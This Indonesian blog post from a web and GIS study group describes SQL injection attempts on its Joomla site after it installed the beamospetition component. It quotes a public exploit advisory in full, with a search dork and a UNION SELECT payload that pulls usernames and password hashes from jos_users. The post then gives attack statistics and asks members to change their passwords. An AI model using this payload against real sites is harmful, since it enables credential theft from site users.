Bentang Alam | kelompok belajar yang fokus pada pengelolaan data informasi berbasis web dan Geografic Information System (GIS). - Bentang Alam Kebanjiran "Remote SQL Injection"

Home

Bagi Cerita

Artikel

Website CMS

Bentang Alam Kebanjiran "Remote SQL Injection"

By Bentang Alam,

Published in : Artikel, Website CMS

Cuma gara-gara install Joomla Component beamospetition, seminggu terakhir website Bentang Alam Kebanjiran "Remote SQL Injection". Lihat saja dicatatan statistik negara pengujung, melonjak drastis mulai dari Turkey, Maroko sampai negeri Jepun sempat mencoba Remote SQL Injection. Apa sih sebenarnya Remote SQL Injection itu? dan apa dampaknya? wah ini menarik untuk jadi bahan belajar. dari hasil penelusuran sementara dan merujuk artikel Joomla Component beamospetition Remote SQL Injection Vulnerability keluaran securityreason.com. Aksi injeksi SQL dapat dilakukan pada website CMS Joomla yang menggunakan component beamospetition. Dan Bentang Alam website menggunakan component ini.

Berikut script dan informasi tentang Joomla Component beamospetition Remote SQL Injection Vulnerability :

Exploit Code :

/---------------------------------------------------------------\
\ /
/ Joomla Component beamospetition Remote SQL injection \
\ /
\---------------------------------------------------------------/

[*] Author : His0k4 [ALGERIAN HaCkEr]

[*] Dork : inurl:com_beamospetition

[*] POC :
http://localhost/[Joomla_Path]/index.php?option=com_beamospetition&pet={
SQL}

[*] Example :
http://localhost/[Joomla_Path]/index.php?option=com_beamospetition&pet=-
5 UNION SELECT
user(),user(),user(),user(),user(),user(),user(),concat(username,0x3a,pa
ssword),user(),user(),user(),user(),user(),user(),user() FROM
jos_users--

------------------------------------------------------------------------
----
[*] Greetings : All friends & muslims HaCkeRs...
[*] Greetings2: http://www.dz-secure.com
http://palcastle.org/cc

Report CrawlTrack 06

Data statistik 1 minggu terakhir website Bentang Alam berikut dapat dilihat terdapat 222 upaya code injection dan 63 upaya SQL Injection. Sejauh ini belum ada upaya-upaya itu yang dapat menembus sistem keamanan website Bentang Alam. Dampak belum diketahui pasti, namun sangat disarankan kepada semua member website Bentang Alam untukmelakukan pengantian password secara berkala. Update berikut akan di muat daftar detail statisik upaya SQL Injection Component Beamospetition di Website Bentang Alam.